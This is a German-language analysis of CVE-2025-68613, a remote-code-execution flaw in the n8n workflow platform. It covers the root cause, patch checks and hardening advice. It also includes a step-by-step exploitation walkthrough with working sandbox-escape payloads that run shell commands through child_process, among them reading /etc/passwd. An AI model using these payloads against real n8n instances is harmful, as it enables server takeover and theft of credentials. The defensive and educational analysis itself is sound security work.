
CVE-2025-68613 (n8n) Kritische RCE-Analyse + defensive Empfehlungen (Patch-Validierung, Erkennungsideen und Härtungstipps)
Matrix GIF
CVE-2025-68613 ist eine kritische Remote-Code-Ausführungsschwachstelle in der Workflow-Automatisierungsplattform n8n, die es authentifizierten Angreifern ermöglicht, durch Expression Injection beliebige Systembefehle auszuführen.
n8n ist eine Open-Source-Workflow-Automatisierungsplattform, die No-Code/Low-Code-Integration mit über 400 Anwendungen ermöglicht. Sie wird häufig eingesetzt in:
| 🏢 Anwendungsfall |
|---|
🔓 SCHWACHSTELLENKETTE:
┌─────────────────────────────────────────────────────────────────┐
│ 📝 n8n Expression Language → Dynamische Datenverarbeitung │
│ ↓ │
│ ⚠️ Unzureichende Sandbox-Isolierung bei serverseitigem Eval │
│ ↓ │
│ 💀 Bösartiger Ausdruck durchbricht Sandbox │
│ ↓ │
│ 🖥️ Zugriff auf Node.js child_process-Modul │
│ ↓ │
│ 💥 VOLLSTÄNDIGE RCE - Ausführung von OS-Befehlen │
└─────────────────────────────────────────────────────────────────┘
Voraussetzungen für die Ausnutzung:
| # | 📋 Anforderung | 📝 Details |
|---|---|---|
| 1️⃣ | Authentifizierung |
| 🏷️ Attribut | 📊 Wert | 🔥 Risiko |
|---|---|---|
| Komplexität | NIEDRIG (AC:L) | 🔴 Hoch |
graph TD
A[🔐 Authentifizierter Benutzer] -->|Erstellt| B[📝 Neuen Workflow]
B -->|Injiziert| C[💀 Bösartigen Ausdruck]
C -->|Löst aus| D[⚡ Ausdrucksauswertung]
D -->|Nutzt aus| E[🔓 Sandbox-Escape]
E -->|Greift zu| F[🖥️ Node.js-Laufzeit]
F -->|Führt aus| G[💥 OS-Befehl über child_process]
G -->|Erreicht| H[☠️ VOLLSTÄNDIGE SERVERKOMPROMITTIERUNG]
style A fill:#4CAF50,color:#fff
style C fill:#ff9800,color:#fff
style E fill:#f44336,color:#fff
style H fill:#9c27b0,color:#fff
⚠️ HINWEIS: Das Folgende dient ausschließlich Bildungszwecken. Unbefugte Ausnutzung ist illegal.
Erster Zugriff auf die verwundbare n8n-Workflow-Automatisierungsplattform.
🔓 n8n Willkommens-Dashboard - Einstiegspunkt
Erstellen Sie einen neuen Workflow, der die bösartige Payload enthalten soll.
📝 Neuen Workflow mit „Ersten Schritt hinzufügen“ erstellen
Workflow-Trigger konfigurieren – Manueller Trigger ermöglicht die Ausführung auf Abruf.
🎯 Manuellen Trigger für die Workflow-Aktivierung auswählen
Fügen Sie den Knoten „Felder bearbeiten (Set)“ hinzu, der den bösartigen Ausdruck enthalten wird.
🔧 Knoten „Felder bearbeiten (Set)“ für die Payload-Injektion hinzufügen
Der entscheidende Schritt – Injizieren des Sandbox-Escape-Ausdrucks, um RCE zu erreichen.
💀 Bösartiger Ausdruck führt Befehl 'id' erfolgreich aus!
// 🔴 BÖSARTIGE PAYLOAD (NICHT ILLEGAL VERWENDEN)
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}
Ausgabe zeigt: uid=1000(node) gid=1000(node) groups=1000(node) ✅ RCE BESTÄTIGT!
Code Injection GIF
⚠️ WARNUNG: Diese Payloads sind nur für autorisierte Sicherheitstests. Unbefugte Nutzung ist illegal!
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('pwd').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('YOUR_COMMAND_HERE').toString() })() }}
💀 Lesen von /etc/passwd – Vollständiger Dateisystemzugriff demonstriert!
┌─────────────────────────────────────────────────────────────────────────┐
│ 🔴 GRUNDURSACHE DER SCHWACHSTELLE │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ Dem n8n-Ausdrucksauswerter FEHLT ein Sanitizer, der verhindert, │
│ dass Funktionsausdrücke auf Folgendes zugreifen: │
│ │
│ ❌ this.process → Node.js-Prozessobjekt │
│ ❌ mainModule.require → Modulladesystem │
│ ❌ child_process → Ausführung von OS-Befehlen │
│ │
│ Dies ermöglicht direkten Zugriff auf Systemmodule und willkürliche │
│ Codeausführung! │
│ │
└─────────────────────────────────────────────────────────────────────────┘
# 🛡️ n8n auf gepatchte Version aktualisieren
npm install -g n8n@latest
# Oder mit Docker
docker pull n8n/n8n:1.122.0
#!/usr/bin/env bash
# 🔍 CVE-2025-68613 n8n-Versionsaudit
echo "🔍 Prüfe n8n-Version..."
if command -v n8n >/dev/null 2>&1; then
VER="$(n8n --version | tr -d 'v' | head -n1)"
if [[ "$VER" < "1.120.4" ]] && [[ "$VER" >= "0.211.0" ]]; then
echo "⚠️ VERWUNDBAR: n8n $VER von CVE-2025-68613 betroffen"
echo "📦 Erforderlich: Upgrade auf 1.120.4, 1.121.1 oder 1.122.0+"
exit 2
else
echo "✅ SICHER: n8n $VER ist gepatcht"
fi
else
echo "❌ n8n nicht in PATH gefunden"
fi
# 🛡️ Gehärtetes n8n-Deployment
FROM n8n/n8n:1.122.0
# 👤 Als Nicht-Root-Benutzer ausführen
USER node
# 🔒 Diese Laufzeit-Flags anwenden:
# --read-only --tmpfs /tmp:rw,noexec,nosuid
# --cap-drop=ALL --cap-add=NET_BIND_SERVICE
# --security-opt seccomp=n8n-seccomp.json
| 🛡️ Maßnahme | 📝 Umsetzung |
|---|---|
| 🌐 Netzwerksegmentierung | n8n-Instanzen isolieren |
| 🔥 WAF-Regeln |
Wie würden Sie eine Erkennungsregel entwerfen, um Expression-Injection-Versuche in n8n-Workflow-Definitionen vor der Ausführung zu identifizieren, unter Berücksichtigung der Notwendigkeit, Sicherheit mit legitimer dynamischer Ausdrucksverwendung in Einklang zu bringen?
Bonus: Welche Laufzeitschutzmaßnahmen würden Sie implementieren, um den Explosionsradius zu begrenzen, falls trotz Patchen ein Sandbox-Escape auftritt?
#CVE-2025-68613 #n8n #RCE #Expression-Injection #Workflow-Automation
#Sandbox-Escape #CWE-913 #Critical-Vulnerability #Pentesting #Blue-Team
⚠️ HAFTUNGSAUSSCHLUSS: Diese Analyse dient ausschließlich Bildungs- und defensiven Sicherheitszwecken.
Die unbefugte Ausnutzung von Sicherheitslücken ist ILLEGAL.
⚡ Kurzstatistiken
|
🎯 Wichtige Fakten
|
| Eigenschaft | Wert |
|---|
| 🆔 CVE-ID | CVE-2025-68613 |
| 📊 CVSS-Score | 9.9 (Kritisch) 🔴 |
| 🔗 CVSS-Vektor | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| 🏷️ CWE | CWE-913 (Unzureichende Kontrolle dynamisch verwalteter Code-Ressourcen) |
| 📦 Betroffene Versionen | 0.211.0 → 1.120.3, 1.121.0 |
| ✅ Gepatchte Versionen | 1.120.4, 1.121.1, 1.122.0+ |
| 📝 Beschreibung |
|---|
| 🔧 DevOps | Automatisierungspipelines, CI/CD-Integrationen |
| 🛡️ Security Ops | SOAR-Workflows, Incident Response |
| 💼 Business | Prozessautomatisierung, Daten-Workflows |
| 📊 Daten | ETL-Prozesse, API-Integrationen |
| Gültiges n8n-Benutzerkonto (niedrige Rechte ausreichend) |
| 2️⃣ | Berechtigungen | Fähigkeit zur Workflow-Erstellung/-Bearbeitung |
| 3️⃣ | Netzwerkzugriff | Erreichbarkeit der n8n-Instanz |
| Benutzerinteraktion |
| Nicht erforderlich |
| 🔴 Hoch |
| Scope | Geändert | 🔴 Kritisch |
| 🎯 Payload | 📋 Erwartete Ausgabe |
|---|
id | uid=1000(node) gid=1000(node) groups=1000(node) |
pwd | /app |
cat /etc/passwd | Vollständige Systembenutzerliste (root, daemon, node, etc.) |
env | Alle Umgebungsvariablen einschließlich Geheimnisse |
ls -la / | Root-Dateisystemauflistung |
|
|
| Phase | 🔥 Aktion | 💀 Auswirkung |
|---|
| 1️⃣ | Erstzugriff | Bei n8n authentifizieren |
| 2️⃣ | Ausführung | Bösartigen Workflow einreichen |
| 3️⃣ | Persistenz | Reverse-Shell/Backdoor bereitstellen |
| 4️⃣ | C2 | Kommando- und Kontrollkanal einrichten |
| 5️⃣ | Aktionen | Daten exfiltrieren, laterale Bewegung |
| 🎯 Aktion | 💥 Auswirkungsstufe |
|---|
| 🔑 Credential-Diebstahl | API-Schlüssel, OAuth-Tokens, DB-Passwörter extrahieren |
| 📤 Datenexfiltration | Workflow-Daten, Ausführungsprotokolle, Geschäftsinformationen |
| 🔒 Persistenz | Cron-Jobs, Startskripte, Web-Shells |
| 🔀 Laterale Bewegung | Auf Datenbanken, CI/CD, Cloud-Infrastruktur ausweiten |
| 🗑️ Workflow-Manipulation | Automatisierungslogik ändern/zerstören |
🔴 Vertraulichkeit (HOCH)
|
🟠 Integrität (HOCH)
|
🟡 Verfügbarkeit (HOCH)
|
| # | 📋 Methode | 🔍 Was zu überwachen ist |
|---|
| 📜 | Protokollanalyse | Ungewöhnliche Befehle vom n8n-Prozess, fehlgeschlagene Ausdrücke |
| 🌐 | Netzwerk | Ausgehende Verbindungen zu unbekannten IPs, große POST-Anfragen |
| ⚡ | Laufzeit | Aufrufe von child_process, unerwartete Spawns |
| 📦 | Versionsaudit | Gegen verwundbare Versionen prüfen |
| 🔢 Priorität | 🛠️ Aktion | 📝 Details |
|---|
| 🔴 P0 | JETZT PATCHEN | Upgrade auf 1.120.4, 1.121.1 oder 1.122.0+ |
| 🟠 P1 | Zugriff einschränken | Workflow-Erstellung auf vertrauenswürdige Benutzer beschränken |
| 🟡 P2 | Container härten | Mit Sicherheitseinschränkungen bereitstellen |
| Ausdrucksmuster überwachen |
| 📜 Audit-Logging | Umfassende Protokollierung aktivieren |
| 🔍 Sicherheitsüberprüfungen | Regelmäßige Workflow-Bewertungen |
| 🔓 Least Privilege | Zugriffskontrollen durchsetzen |